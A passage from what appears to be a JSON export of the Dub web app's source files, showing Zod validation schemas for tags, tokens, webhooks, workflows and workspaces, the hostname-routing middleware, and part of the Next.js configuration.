true,\n      invoiceId: true,\n      paymentProcessor: true,\n    }),\n    metadata: z.any().nullish(),\n    // nested objects\n    link: linkEventSchema,\n    click: clickEventSchema,\n    customer: CustomerSchema,\n    // deprecated fields\n    saleAmount: centsSchema\n      .describe(\"Deprecated: Use `sale.amount` instead.\")\n      .meta({ deprecated: true }),\n    invoice_id: z\n      .string()\n      .describe(\"Deprecated: Use `sale.invoiceId` instead.\")\n      .meta({ deprecated: true }),\n    payment_processor: z\n      .string()\n      .describe(\"Deprecated: Use `sale.paymentProcessor` instead.\")\n      .meta({ deprecated: true }),\n  })\n  .extend(commonDeprecatedEventFields.shape)\n  .meta({ title: \"SaleEvent\" });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/schemas.ts",
    "content": "import * as z from \"zod/v4\";\nimport { ProgramEnrollmentSchema } from \"./programs\";\n\nexport const fraudEventContext = z.object({\n  program: z.object({\n    id: z.string(),\n  }),\n  partner: z.object({\n    id: z.string(),\n    email: z.string().nullable(),\n    name: z.string().nullable(),\n  }),\n  programEnrollment: ProgramEnrollmentSchema.pick({\n    status: true,\n  }),\n  customer: z.object({\n    id: z.string(),\n    email: z.string().nullable(),\n    name: z.string().nullable(),\n    isFirstConversion: z.boolean().nullish(),\n  }),\n  link: z.object({\n    id: z.string().nullable().optional(),\n  }),\n  click: z.object({\n    url: z.string().nullable(),\n    referer: z.string().nullable(),\n    referer_url: z.string().nullable().optional(),\n  }),\n  event: z.object({\n    id: z.string(),\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/tags.ts",
    "content": "import { RESOURCE_COLORS } from \"@/ui/colors\";\nimport * as z from \"zod/v4\";\nimport { booleanQuerySchema, getPaginationQuerySchema } from \"./misc\";\n\nexport const TAGS_MAX_PAGE_SIZE = 100;\n\nexport const getTagsQuerySchema = z\n  .object({\n    sortBy: z\n      .enum([\"name\", \"createdAt\"])\n      .optional()\n      .default(\"name\")\n      .describe(\"The field to sort the tags by.\"),\n    sortOrder: z\n      .enum([\"asc\", \"desc\"])\n      .optional()\n      .default(\"asc\")\n      .describe(\"The order to sort the tags by.\"),\n    search: z\n      .string()\n      .optional()\n      .describe(\"The search term to filter the tags by.\"),\n    ids: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n      .optional()\n      .describe(\"IDs of tags to filter by.\"),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: TAGS_MAX_PAGE_SIZE }));\n\nexport const getTagsQuerySchemaExtended = getTagsQuerySchema.extend({\n  // Only Dub UI uses the following query parameters\n  includeLinksCount: booleanQuerySchema.default(false),\n});\n\nexport const getTagsCountQuerySchema = getTagsQuerySchema.omit({\n  ids: true,\n  page: true,\n  pageSize: true,\n});\n\n// TODO: Remove \"pink\" after confirming we don't have any pink tags in the database\nconst tagColors = [...RESOURCE_COLORS, \"pink\"] as const;\n\nexport const tagColorSchema = z\n  .enum(tagColors, {\n    error: `Invalid color. Must be one of: ${tagColors.join(\", \")}`,\n  })\n  .describe(\"The color of the tag\");\n\nexport const createTagBodySchema = z\n  .object({\n    name: z\n      .string()\n      .trim()\n      .min(1)\n      .max(50)\n      .describe(\"The name of the tag to create.\"),\n    color: tagColorSchema.describe(\n      `The color of the tag. If not provided, a random color will be used from the list: ${RESOURCE_COLORS.join(\", \")}.`,\n    ),\n    tag: z\n      .string()\n      .trim()\n      .min(1)\n      .describe(\"The name of the tag to create.\")\n      .meta({ deprecated: true }),\n  })\n  .partial()\n  .superRefine((data, ctx) => {\n    if (!data.name && !data.tag) {\n      ctx.addIssue({\n        code: z.ZodIssueCode.custom,\n        path: [\"name\"],\n        message: \"Name is required.\",\n      });\n    }\n  });\n\nexport const updateTagBodySchema = createTagBodySchema;\n\nexport const LinkTagSchema = z\n  .object({\n    id: z.string().describe(\"The unique ID of the tag.\"),\n    name: z.string().describe(\"The name of the tag.\"),\n    color: tagColorSchema.describe(\"The color of the tag.\"),\n  })\n  .meta({\n    title: \"LinkTag\",\n  });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/token.ts",
    "content": "import { SCOPES } from \"@/lib/api/tokens/scopes\";\nimport * as z from \"zod/v4\";\nimport { createPartnerSchema } from \"./partners\";\n\n// Schema to validate the request body when creating a new token\nexport const createTokenSchema = z.object({\n  name: z\n    .string({\n      error: \"Name is required\",\n    })\n    .min(1)\n    .max(50),\n  isMachine: z.boolean().optional().default(false),\n  scopes: z.array(z.enum(SCOPES)).default([]).optional(),\n});\n\n// Schema to validate the request body when updating a token\nexport const updateTokenSchema = createTokenSchema\n  .pick({\n    name: true,\n    scopes: true,\n  })\n  .required();\n\n// Represent the shape of a token returned from the API\nexport const tokenSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  partialKey: z.string(),\n  scopes: z\n    .string()\n    .nullable()\n    .transform((val) => val?.split(\" \") ?? []),\n  lastUsed: z.date().nullable(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n  user: z.object({\n    id: z.string(),\n    name: z.string().nullable(),\n    image: z.string().nullable(),\n    isMachine: z.boolean(),\n  }),\n});\n\nexport const createReferralsEmbedTokenSchema = z\n  .object({\n    partnerId: z.string().optional(),\n    tenantId: z.string().optional(),\n    partner: createPartnerSchema.optional(),\n  })\n  .superRefine((data, ctx) => {\n    if (!data.partnerId && !data.tenantId && !data.partner) {\n      ctx.addIssue({\n        code: z.ZodIssueCode.custom,\n        message: \"You must provide either partnerId, tenantId, or partner.\",\n      });\n    }\n  });\n\nexport const ReferralsEmbedTokenSchema = z.object({\n  publicToken: z.string(),\n  expires: z.date(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/usage.ts",
    "content": "import { DATE_RANGE_INTERVAL_PRESETS } from \"@/lib/analytics/constants\";\nimport * as z from \"zod/v4\";\n\nexport const usageQuerySchema = z.object({\n  resource: z.enum([\"links\", \"events\", \"revenue\"]),\n  folderId: z.string().optional(),\n  domain: z.string().optional(),\n  groupBy: z.enum([\"folder_id\", \"domain\"]).optional(),\n  interval: z.enum(DATE_RANGE_INTERVAL_PRESETS).optional(),\n  start: z.string().optional(),\n  end: z.string().optional(),\n  timezone: z.string().optional().default(\"UTC\"),\n});\n\nexport const usageResponse = z.object({\n  date: z.string(),\n  value: z.number(),\n  folder_id: z.string().optional(),\n  domain: z.string().optional(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/users.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const UserSchema = z.object({\n  id: z.string(),\n  name: z.string().nullable(),\n  email: z.string().nullable(),\n  image: z.string().nullable(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/utils.ts",
    "content": "import { getUrlFromString, isValidUrl, parseDateTime } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\n// This is the default max length for URL validation\nexport const DESTINATION_URL_MAX_LENGTH = 32000;\n\nconst coerceToNumber = (n: unknown) =>\n  typeof n === \"bigint\" || typeof n === \"string\" ? Number(n) : n;\n\n/** Accepts number (before migration) or bigint (after), outputs number. */\nexport const centsSchema = z.preprocess(coerceToNumber, z.number());\n\n/** Same as centsSchema but with a default of 0. The default is on the inner z.number()\n *  so code generators (e.g. Speakeasy) can introspect it through the preprocess layer. */\nexport const centsSchemaWithDefault = z.preprocess(\n  coerceToNumber,\n  z.number().default(0),\n);\n\n/** Accepts number or bigint or null (e.g. from Prisma BigInt?), outputs number | null. */\nexport const nullableCountSchema = z.preprocess(\n  coerceToNumber,\n  z.number().nullable(),\n);\n\nexport const parseUrlSchema = z\n  .string()\n  .max(DESTINATION_URL_MAX_LENGTH, {\n    message: `Must be ${DESTINATION_URL_MAX_LENGTH} or fewer characters long.`,\n  })\n  .transform((v) => getUrlFromString(v))\n  .refine((v) => isValidUrl(v), { message: \"Invalid URL\" });\n\nexport const parseUrlSchemaAllowEmpty = ({\n  maxLength = DESTINATION_URL_MAX_LENGTH,\n  trim = false,\n}: {\n  maxLength?: number;\n  trim?: boolean;\n} = {}) => {\n  let schema = z.string();\n\n  if (trim) {\n    schema = schema.trim();\n  }\n\n  if (maxLength) {\n    schema = schema.max(maxLength, {\n      message: `Must be ${maxLength} or fewer characters long.`,\n    });\n  }\n\n  return schema.transform((v) => getUrlFromString(v));\n};\n\nexport const parseDateSchema = z\n  .string()\n  .transform((v) => parseDateTime(v))\n  .refine((v) => !!v, { message: \"Invalid date\" });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/utm.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const createUTMTemplateBodySchema = z.object({\n  name: z.string().trim().min(1, \"UTM name is required\").max(50),\n  utm_source: z\n    .string()\n    .trim()\n    .max(190)\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\"The UTM source of the short link.\"),\n  utm_medium: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .transform((v) => (v === \"\" ? null : v))\n    .describe(\"The UTM medium of the short link.\"),\n  utm_campaign: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .transform((v) => (v === \"\" ? null : v))\n    .describe(\"The UTM campaign of the short link.\"),\n  utm_term: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .transform((v) => (v === \"\" ? null : v))\n    .describe(\"The UTM term of the short link.\"),\n  utm_content: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .transform((v) => (v === \"\" ? null : v))\n    .describe(\"The UTM content of the short link.\"),\n  ref: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .transform((v) => (v === \"\" ? null : v))\n    .describe(\"The ref of the short link.\"),\n});\n\nexport const updateUTMTemplateBodySchema = createUTMTemplateBodySchema;\n\nexport const UTMTemplateSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  utm_source: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .describe(\"The UTM source of the short link.\"),\n  utm_medium: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .describe(\"The UTM medium of the short link.\"),\n  utm_campaign: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .describe(\"The UTM campaign of the short link.\"),\n  utm_term: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .describe(\"The UTM term of the short link.\"),\n  utm_content: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .describe(\"The UTM content of the short link.\"),\n  ref: z\n    .string()\n    .trim()\n    .max(190)\n    .nullish()\n    .describe(\"The ref of the short link.\"),\n});\n\nexport const UTM_TAGS_PLURAL_LIST = [\n  \"utm_sources\",\n  \"utm_mediums\",\n  \"utm_campaigns\",\n  \"utm_terms\",\n  \"utm_contents\",\n];\n\nexport type UTM_TAGS_PLURAL =\n  | \"utm_sources\"\n  | \"utm_mediums\"\n  | \"utm_campaigns\"\n  | \"utm_terms\"\n  | \"utm_contents\";\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/webhooks.ts",
    "content": "import { WEBHOOK_TRIGGERS } from \"@/lib/webhook/constants\";\nimport * as z from \"zod/v4\";\nimport { parseUrlSchema } from \"./utils\";\n\nexport const WebhookSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  url: z.string(),\n  secret: z.string(),\n  triggers: z.array(z.enum(WEBHOOK_TRIGGERS)),\n  disabledAt: z.date().nullable(),\n  linkIds: z.array(z.string()).optional(),\n  installationId: z.string().nullable(),\n});\n\nexport const createWebhookSchema = z.object({\n  name: z.string().min(1).max(40),\n  url: parseUrlSchema,\n  secret: z.string().optional(),\n  triggers: z.array(z.enum(WEBHOOK_TRIGGERS)),\n  linkIds: z.array(z.string()).optional(),\n});\n\nexport const updateWebhookSchema = createWebhookSchema.partial();\n\n// Schema of response sent to the webhook callback URL by QStash\nexport const webhookCallbackSchema = z.object({\n  status: z.number(),\n  url: z.string(),\n  createdAt: z.number(),\n  sourceMessageId: z.string(),\n  body: z.string().optional().default(\"\"), // Response from the original webhook URL\n  sourceBody: z.string(), // Original request payload from Dub\n});\n\n// Webhook event schema for the webhook logs\nexport const webhookEventSchemaTB = z.object({\n  event_id: z.string(),\n  webhook_id: z.string(),\n  message_id: z.string(), // QStash message ID\n  event: z.enum([\n    \"partner.created\", // keeping this for backwards compatibility\n    ...WEBHOOK_TRIGGERS,\n  ]),\n  url: z.string(),\n  http_status: z.number(),\n  request_body: z.string(),\n  response_body: z.string(),\n  timestamp: z.string(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/workflows.ts",
    "content": "import {\n  OperatorFn,\n  WorkflowComparisonOperator,\n  WorkflowConditionAttribute,\n} from \"@/lib/types\";\nimport { WorkflowTrigger } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport const WORKFLOW_ATTRIBUTES = [\n  \"totalLeads\",\n  \"totalConversions\",\n  \"totalSaleAmount\",\n  \"totalCommissions\",\n  \"partnerEnrolledDays\",\n  \"partnerJoined\",\n] as const;\n\nexport const WORKFLOW_ATTRIBUTE_TRIGGER: Record<\n  WorkflowConditionAttribute,\n  WorkflowTrigger\n> = {\n  totalLeads: WorkflowTrigger.partnerMetricsUpdated,\n  totalConversions: WorkflowTrigger.partnerMetricsUpdated,\n  totalSaleAmount: WorkflowTrigger.partnerMetricsUpdated,\n  totalCommissions: WorkflowTrigger.partnerMetricsUpdated,\n  partnerEnrolledDays: WorkflowTrigger.partnerEnrolled,\n  partnerJoined: WorkflowTrigger.partnerEnrolled,\n} as const;\n\nexport const WORKFLOW_COMPARISON_OPERATORS = [\"gte\", \"between\"] as const;\n\nexport const SCHEDULED_WORKFLOW_TRIGGERS: WorkflowTrigger[] = [\n  \"partnerEnrolled\",\n];\n\nexport const WORKFLOW_SCHEDULES: Partial<Record<WorkflowTrigger, string>> = {\n  partnerEnrolled: \"0 */12 * * *\", // every 12 hours\n};\n\nexport const OPERATOR_FUNCTIONS: Record<\n  WorkflowComparisonOperator,\n  OperatorFn\n> = {\n  gte: (aV, cV) => {\n    if (typeof cV !== \"number\") {\n      return false;\n    }\n\n    return aV >= cV;\n  },\n  between: (aV, cV) => {\n    if (typeof cV !== \"object\" || cV === null) {\n      return false;\n    }\n\n    const { min, max } = cV;\n\n    if (min == null || max == null) {\n      return false;\n    }\n\n    return aV >= min && aV <= max;\n  },\n};\n\nexport const WORKFLOW_COMPARISON_OPERATOR_LABELS: Record<\n  WorkflowComparisonOperator,\n  string\n> = {\n  gte: \"more than\",\n  between: \"between\",\n} as const;\n\nexport enum WORKFLOW_ACTION_TYPES {\n  AwardBounty = \"awardBounty\",\n  SendCampaign = \"sendCampaign\",\n  MoveGroup = \"moveGroup\",\n}\n\nexport const WORKFLOW_LOGICAL_OPERATORS = [\"AND\"] as const;\n\n// Individual condition\nexport const workflowConditionSchema = z.object({\n  attribute: z.enum(WORKFLOW_ATTRIBUTES),\n  operator: z.enum(WORKFLOW_COMPARISON_OPERATORS).default(\"gte\"),\n  value: z.union([\n    z.number(),\n    z.object({\n      min: z.number(),\n      max: z.number(),\n    }),\n  ]),\n});\n\n// Array of conditions with AND operator\nexport const workflowConditionsSchema = z.object({\n  operator: z.enum(WORKFLOW_LOGICAL_OPERATORS).default(\"AND\"),\n  conditions: z.array(workflowConditionSchema).min(1),\n});\n\n// Individual action\nexport const workflowActionSchema = z.discriminatedUnion(\"type\", [\n  z.object({\n    type: z.literal(WORKFLOW_ACTION_TYPES.AwardBounty),\n    data: z.object({\n      bountyId: z.string(),\n    }),\n  }),\n\n  z.object({\n    type: z.literal(WORKFLOW_ACTION_TYPES.SendCampaign),\n    data: z.object({\n      campaignId: z.string(),\n    }),\n  }),\n\n  z.object({\n    type: z.literal(WORKFLOW_ACTION_TYPES.MoveGroup),\n    data: z.object({\n      groupId: z.string(),\n    }),\n  }),\n]);\n\n// Array of actions (Only supports one action for now)\nexport const workflowActionsSchema = z.array(workflowActionSchema);\n\nexport const createWorkflowSchema = z.object({\n  trigger: z.enum(WorkflowTrigger),\n  triggerConditions: workflowConditionsSchema,\n  actions: workflowActionsSchema,\n});\n\nexport const workflowSchema = z.object({\n  name: z.string(),\n  trigger: z.enum(WorkflowTrigger),\n  triggerConditions: workflowConditionsSchema,\n  actions: workflowActionsSchema,\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/workspace-preferences.ts",
    "content": "import {\n  linksDisplayPropertyIds,\n  linksSortOptions,\n  linksViewModes,\n} from \"@/lib/links/links-display\";\nimport * as z from \"zod/v4\";\n\nexport const linksDisplaySchema = z.object({\n  viewMode: z.enum(linksViewModes),\n  sortBy: z.enum(\n    linksSortOptions.map(({ slug }) => slug) as [string, ...string[]],\n  ),\n  showArchived: z.boolean(),\n  displayProperties: z.array(z.enum(linksDisplayPropertyIds)),\n});\n\nexport const workspacePreferencesValueSchemas = {\n  linksDisplay: linksDisplaySchema.nullish(),\n} as const;\n\nexport const workspacePreferencesSchema = z.object(\n  workspacePreferencesValueSchemas,\n);\n\nexport type WorkspacePreferencesKey =\n  keyof typeof workspacePreferencesValueSchemas;\n\nexport type WorkspacePreferencesValue<K extends WorkspacePreferencesKey> =\n  z.infer<(typeof workspacePreferencesValueSchemas)[K]>;\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/workspaces.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\nimport { DEFAULT_REDIRECTS, RESERVED_SLUGS, validSlugRegex } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport * as z from \"zod/v4\";\nimport { DomainSchema } from \"./domains\";\nimport {\n  googleUserContentUrlSchema,\n  planSchema,\n  roleSchema,\n  uploadedImageSchema,\n} from \"./misc\";\n\nexport const workspaceIdSchema = z.object({\n  workspaceId: z\n    .string()\n    .min(1, \"Workspace ID is required.\")\n    .describe(\"The ID of the workspace the link belongs to.\"),\n});\n\nexport const WorkspaceSchema = z\n  .object({\n    id: z.string().describe(\"The unique ID of the workspace.\"),\n    name: z.string().describe(\"The name of the workspace.\"),\n    slug: z.string().describe(\"The slug of the workspace.\"),\n    logo: z\n      .string()\n      .nullable()\n      .default(null)\n      .describe(\"The logo of the workspace.\"),\n    inviteCode: z\n      .string()\n      .nullable()\n      .describe(\"The invite code of the workspace.\"),\n    plan: planSchema,\n    planTier: z\n      .number()\n      .nullable()\n      .describe(\"The tier of the workspace's plan.\"),\n    stripeId: z.string().nullable().describe(\"The Stripe ID of the workspace.\"),\n    billingCycleStart: z\n      .number()\n      .describe(\n        \"The date and time when the billing cycle starts for the workspace.\",\n      ),\n    paymentFailedAt: z\n      .date()\n      .nullable()\n      .describe(\"The date and time when the payment failed for the workspace.\"),\n    stripeConnectId: z\n      .string()\n      .nullable()\n      .describe(\"The Stripe Connect ID of the workspace.\"),\n    totalLinks: z\n      .number()\n      .describe(\"The total number of links in the workspace.\"),\n    usage: z.number().describe(\"The usage of the workspace.\"),\n    usageLimit: z.number().describe(\"The usage limit of the workspace.\"),\n    linksUsage: z.number().describe(\"The links usage of the workspace.\"),\n    linksLimit: z.number().describe(\"The links limit of the workspace.\"),\n    payoutsUsage: z\n      .number()\n      .describe(\n        \"The dollar amount of partner payouts processed in the current billing cycle (in cents).\",\n      ),\n    payoutsLimit: z\n      .number()\n      .describe(\n        \"The max dollar amount of partner payouts that can be processed within a billing cycle (in cents).\",\n      ),\n    payoutFee: z\n      .number()\n      .describe(\n        \"The processing fee (in decimals) for partner payouts. For card payments, an additional 0.03 is added to the fee. Learn more: https://d.to/payouts\",\n      ),\n    payoutFeeWaiverLimit: z\n      .number()\n      .describe(\n        \"The amount in cents for which the payout fee will be waived. Applicable only to custom enterprise plans.\",\n      ),\n    payoutFeeWaiverUsage: z\n      .number()\n      .describe(\n        \"How much of `payoutFeeWaiverLimit` has been used. Applicable only to custom enterprise plans.\",\n      ),\n    domainsLimit: z.number().describe(\"The domains limit of the workspace.\"),\n    tagsLimit: z.number().describe(\"The tags limit of the workspace.\"),\n    foldersUsage: z.number().describe(\"The folders usage of the workspace.\"),\n    foldersLimit: z.number().describe(\"The folders limit of the workspace.\"),\n    groupsLimit: z.number().describe(\"The groups limit of the workspace.\"),\n    networkInvitesLimit: z\n      .number()\n      .describe(\"The weekly network invites limit of the workspace.\"),\n    usersLimit: z.number().describe(\"The users limit of the workspace.\"),\n    aiUsage: z.number().describe(\"The AI usage of the workspace.\"),\n    aiLimit: z.number().describe(\"The AI limit of the workspace.\"),\n    conversionEnabled: z\n      .boolean()\n      .describe(\n        \"Whether the workspace has conversion tracking enabled automatically for new links (d.to/conversions).\",\n      ),\n    dotLinkClaimed: z\n      .boolean()\n      .describe(\n        \"Whether the workspace has claimed a free .link domain. (dub.link/free)\",\n      ),\n    createdAt: z\n      .date()\n      .describe(\"The date and time when the workspace was created.\"),\n    users: z\n      .array(\n        z.object({\n          role: roleSchema,\n          defaultFolderId: z\n            .string()\n            .nullable()\n            .describe(\n              \"The ID of the default folder for the user in the workspace.\",\n            ),\n        }),\n      )\n      .describe(\"The role of the authenticated user in the workspace.\"),\n    domains: z\n      .array(\n        DomainSchema.pick({\n          slug: true,\n          primary: true,\n          verified: true,\n        }),\n      )\n      .describe(\"The domains of the workspace.\"),\n    flags: z\n      .record(z.string(), z.boolean())\n      .optional()\n      .describe(\n        \"The feature flags of the workspace, indicating which features are enabled.\",\n      ),\n    store: z\n      .record(z.string(), z.any())\n      .nullable()\n      .describe(\"The miscellaneous key-value store of the workspace.\"),\n    allowedHostnames: z\n      .array(z.string())\n      .nullable()\n      .describe(\"Specifies hostnames permitted for client-side click tracking.\")\n      .meta({ example: [\"dub.sh\"] }),\n    ssoEmailDomain: z.string().nullable(),\n    ssoEnforcedAt: z.date().nullable(),\n  })\n  .meta({\n    title: \"Workspace\",\n  });\n\nexport const createWorkspaceSchema = z.object({\n  name: z.string().min(1).max(32),\n  slug: z\n    .string()\n    .min(3, \"Slug must be at least 3 characters\")\n    .max(48, \"Slug must be less than 48 characters\")\n    .transform((v) => slugify(v))\n    .refine((v) => validSlugRegex.test(v), { message: \"Invalid slug format\" })\n    .refine(\n      async (v) => !(RESERVED_SLUGS.includes(v) || DEFAULT_REDIRECTS[v]),\n      {\n        message: \"Cannot use reserved slugs\",\n      },\n    ),\n  logo: z\n    .union([uploadedImageSchema, googleUserContentUrlSchema])\n    .transform((v) => v || null)\n    .nullish(),\n  conversionEnabled: z.boolean().optional(),\n});\n\nexport const notificationTypes = z.enum([\n  \"linkUsageSummary\",\n  \"domainConfigurationUpdates\",\n  \"newPartnerSale\",\n  \"newPartnerApplication\",\n  \"pendingApplicationsSummary\",\n  \"newBountySubmitted\",\n  \"newMessageFromPartner\",\n  \"fraudEventsSummary\",\n]);\n\nexport const WorkspaceSchemaExtended = WorkspaceSchema.extend({\n  domains: z.array(\n    WorkspaceSchema.shape.domains.element.extend({\n      linkRetentionDays: z.number().nullish(),\n    }),\n  ),\n  defaultProgramId: z.string().nullable(),\n  users: z.array(\n    WorkspaceSchema.shape.users.element.extend({\n      workspacePreferences: z.record(z.string(), z.any()).nullish(),\n    }),\n  ),\n  publishableKey: z.string().nullable(),\n  fastDirectDebitPayouts: z.boolean().default(false),\n});\n\nexport const OnboardingUsageSchema = z.object({\n  links: z.number(),\n  clicks: z.number(),\n  conversions: z.boolean(),\n  partners: z.boolean(),\n});\n\nexport const workspaceStoreKeys = z.enum([\n  \"onboardingUsage\", // json\n  \"programOnboarding\", // json\n  \"conversionsOnboarding\", // boolean\n  \"dubPartnersPopupDismissed\", // boolean\n  \"dotLinkOfferDismissed\", // string\n  \"analyticsSettingsConversionTrackingEnabled\", // boolean\n  \"analyticsSettingsSiteVisitTrackingEnabled\", // boolean\n  \"analyticsSettingsOutboundDomainTrackingEnabled\", // boolean\n  \"analyticsSettingsConnectionSetupComplete\", // boolean\n  \"analyticsSettingsLeadTrackingSetupComplete\", // boolean\n  \"analyticsSettingsSaleTrackingSetupComplete\", // boolean\n]);\n\nexport const getWorkspaceUsersQuerySchema = z.object({\n  search: z.string().optional(),\n  role: z.enum(WorkspaceRole).optional(),\n});\n\nexport const workspaceUserSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  email: z.string().nullish(),\n  image: z.string().nullish(),\n  role: z.enum(WorkspaceRole),\n  isMachine: z.boolean().default(false),\n  createdAt: z.date(),\n});\n"
  },
  {
    "path": "apps/web/middleware.ts",
    "content": "import { logger } from \"@/lib/axiom/server\";\nimport { transformMiddlewareRequest } from \"@axiomhq/nextjs\";\nimport {\n  ADMIN_HOSTNAMES,\n  API_HOSTNAMES,\n  APP_HOSTNAMES,\n  DEFAULT_REDIRECTS,\n  isValidUrl,\n} from \"@dub/utils\";\nimport { PARTNERS_HOSTNAMES } from \"@dub/utils/src/constants\";\nimport { NextFetchEvent, NextRequest, NextResponse } from \"next/server\";\nimport { AdminMiddleware } from \"./lib/middleware/admin\";\nimport { ApiMiddleware } from \"./lib/middleware/api\";\nimport { AppMiddleware } from \"./lib/middleware/app\";\nimport { CreateLinkMiddleware } from \"./lib/middleware/create-link\";\nimport { LinkMiddleware } from \"./lib/middleware/link\";\nimport { PartnersMiddleware } from \"./lib/middleware/partners\";\nimport { parse } from \"./lib/middleware/utils/parse\";\nimport { supportedWellKnownFiles } from \"./lib/well-known\";\n\nexport const config = {\n  runtime: \"nodejs\",\n  matcher: [\n    /*\n     * Match all paths except for:\n     * 1. /api/ routes\n     * 2. /_next/ (Next.js internals)\n     * 3. /_proxy/ (proxies for third-party services)\n     * 4. Metadata files: favicon.ico, sitemap.xml, robots.txt, manifest.webmanifest\n     */\n    \"/((?!api/|_next/|_proxy/|favicon.ico|sitemap.xml|robots.txt|manifest.webmanifest).*)\",\n  ],\n};\n\nexport default async function middleware(req: NextRequest, ev: NextFetchEvent) {\n  const { domain, path, key, fullKey } = parse(req);\n\n  // Axiom logging\n  logger.info(...transformMiddlewareRequest(req));\n  ev.waitUntil(logger.flush());\n\n  // for App\n  if (APP_HOSTNAMES.has(domain)) {\n    return AppMiddleware(req);\n  }\n\n  // for API\n  if (API_HOSTNAMES.has(domain)) {\n    return ApiMiddleware(req);\n  }\n\n  // for public stats pages (e.g. d.to/stats/try)\n  if (path.startsWith(\"/stats/\")) {\n    return NextResponse.rewrite(new URL(`/${domain}${path}`, req.url));\n  }\n\n  // for .well-known routes\n  if (path.startsWith(\"/.well-known/\")) {\n    const file = path.split(\"/.well-known/\").pop();\n    if (file && supportedWellKnownFiles.includes(file)) {\n      return NextResponse.rewrite(\n        new URL(`/wellknown/${domain}/${file}`, req.url),\n      );\n    }\n  }\n\n  // default redirects for dub.sh\n  if (domain === \"dub.sh\" && DEFAULT_REDIRECTS[key]) {\n    return NextResponse.redirect(DEFAULT_REDIRECTS[key]);\n  }\n\n  if (ADMIN_HOSTNAMES.has(domain)) {\n    return AdminMiddleware(req);\n  }\n\n  if (PARTNERS_HOSTNAMES.has(domain)) {\n    return PartnersMiddleware(req);\n  }\n\n  if (isValidUrl(fullKey)) {\n    return CreateLinkMiddleware(req);\n  }\n\n  return LinkMiddleware(req, ev);\n}\n"
  },
  {
    "path": "apps/web/next.config.js",
    "content": "const { PrismaPlugin } = require(\"@prisma/nextjs-monorepo-workaround-plugin\");\n\n// Suppress specific external package warnings\nconst originalConsoleWarn = console.warn;\nconsole.warn = (...args) => {\n  const message = args.join(\" \");\n  if (\n    message.includes(\"Package mongodb can't be external\") ||\n    message.includes(\"Package pg can't be external\") ||\n    message.includes(\"Package sqlite3 can't be external\") ||\n    message.includes(\"Package typeorm can't be external\") ||\n    message.includes(\"matches serverExternalPackages\") ||\n    message.includes(\"Try to install it into the project directory\")\n  ) {\n    return; // Suppress these warnings\n  }\n  originalConsoleWarn.apply(console, args);\n};\n\n/** @type {import('next').NextConfig} */\nmodule.exports = {\n  reactStrictMode: false,\n  transpilePackages: [\n    \"prettier\",\n    \"shiki\",\n    \"@dub/prisma\",\n    \"@dub/email\",\n    \"@boxyhq/saml-jackson\",\n  ],\n  outputFileTracingIncludes: {\n    \"/api/auth/saml/token\": [\n      \"./node_modules/jose/**/*\",\n      \"./node_modules/openid-client/**/*\",\n    ],\n  },\n  experimental: {\n    optimizePackageImports: [\n      \"@dub/email\",\n      \"@dub/ui\",\n      \"@dub/utils\",\n      \"@team-plain/typescript-sdk\",\n    ],\n    serverActions: {\n      bodySizeLimit: \"2mb\",\n    },\n  },\n  webpack: (config, { webpack, isServer }) => {\n    if (isServer) {\n      config.plugins.push(\n        // mute errors for unused typeorm deps\n        new webpack.IgnorePlugin({\n          resourceRegExp:\n            /(^@google-cloud\\/spanner|^@mongodb-js\\/zstd|^aws-crt|^aws4$|^pg-native$|^mongodb-client-encryption$|^@sap\\/hana-client$|^@sap\\/hana-client\\/extension\\/Stream$|^snappy$|^react-native-sqlite-storage$|^bson-ext$|^cardinal$|^kerberos$|^hdb-pool$|^sql.js$|^sqlite3$|^better-sqlite3$|^ioredis$|^typeorm-aurora-data-api-driver$|^pg-query-stream$|^oracledb$|^mysql$|^snappy\\/package\\.json$|^cloudflare:sockets$)/,\n        }),\n      );\n\n      config.plugins = [...config.plugins, new PrismaPlugin()];\n    }\n\n    config.module = {\n      ...config.module,\n      exprContextCritical: false,\n    };\n\n    return config;\n  },\n  images: {\n    remotePatterns: [\n      {\n        hostname: \"assets.dub.co\", // for Dub's static assets\n      },\n      {\n        hostname: \"dubassets.com\", // for Dub's user generated images\n      },\n      {\n        hostname: \"dev.dubassets.com\", // dev bucket\n      },\n      {\n        hostname: \"www.google.com\",\n      },\n      {\n        hostname: \"avatar.vercel.sh\",\n      },\n      {\n        hostname: \"faisalman.github.io\",\n      },\n      {\n        hostname: \"api.dicebear.com\",\n      },\n      {\n        hostname: \"pbs.twimg.com\",\n      },\n      {\n        hostname: 